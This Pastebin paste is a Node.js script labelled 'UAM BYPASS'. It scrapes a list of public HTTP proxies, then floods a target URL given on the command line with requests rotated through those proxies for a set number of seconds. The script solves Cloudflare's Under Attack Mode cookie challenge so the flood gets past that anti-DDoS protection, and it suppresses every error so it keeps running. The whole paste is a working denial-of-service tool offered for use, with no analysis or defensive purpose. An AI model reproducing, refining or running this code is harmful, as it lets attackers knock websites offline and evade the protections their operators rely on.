Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /**
- UAM BYPASS
- Requirements: npm i request; npm i fs; npm i cloudscraper; npm i crypto
- */
- var request = require('request');
- const cloudscraper = require('cloudscraper');
- const fs = require('fs');
- const {
- constants
- } = require('crypto');
- var p = process.argv[2];
- const EventEmitter = require('events');
- const emitter = new EventEmitter();
- emitter.setMaxListeners(Number.POSITIVE_INFINITY);
- process.on('uncaughtException', (err) => {});
- process.on('unhandledRejection', (err) => {});
- var theproxy = 0;
- var cookies = {};
- setTimeout(() => {
- process.exit(1);
- }, process.argv[3] * 1000);
- var target = p.replace('https', 'http');
- request.get('https://api.proxyscrape.com/?request=displayproxies&proxytype=http&timeout=10000&country=all&anonymity=all&ssl=all', (err, res, set) => {
- var proxies = set.match(/(\d{1,3}\.){3}\d{1,3}\:\d{1,5}/g);
- console.log(proxies.length + " Proxies loaded.");
- setInterval(function() {
- theproxy = theproxy + 1;
- if (theproxy == proxies.length - 1) {
- theproxy = 0;
- }
- var ourproxy = proxies[theproxy];
- cloudscraper.get({
- agentOptions: {
- secureOptions: constants.SSL_OP_NO_TLSv1 | constants.SSL_OP_NO_TLSv1_1,
- ciphers: constants.defaultCipherList + ':!ECDHE+SHA:!AES128-SHA'
- },
- url: target,
- headers: {
- cookie: cookies[ourproxy] || ''
- },
- resolveWithFullResponse: true,
- simple: false,
- followRedirect: false,
- }, function(error, response, body) {
- if (body) {
- if (body.indexOf('document.cookie="') !== -1) {
- var asd = body.split('"');
- cookies[ourproxy] = response.request.headers['cookie'] + '; ' + asd[1] + ';';
- cloudscraper.get({
- agentOptions: {
- secureOptions: constants.SSL_OP_NO_TLSv1 | constants.SSL_OP_NO_TLSv1_1,
- ciphers: constants.defaultCipherList + ':!ECDHE+SHA:!AES128-SHA'
- },
- uri: asd[3],
- headers: {
- cookie: cookies[ourproxy]
- },
- resolveWithFullResponse: true,
- simple: false,
- followRedirect: false,
- }, function(error, response, body) {
- });
- }
- }
- });
- });
- });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement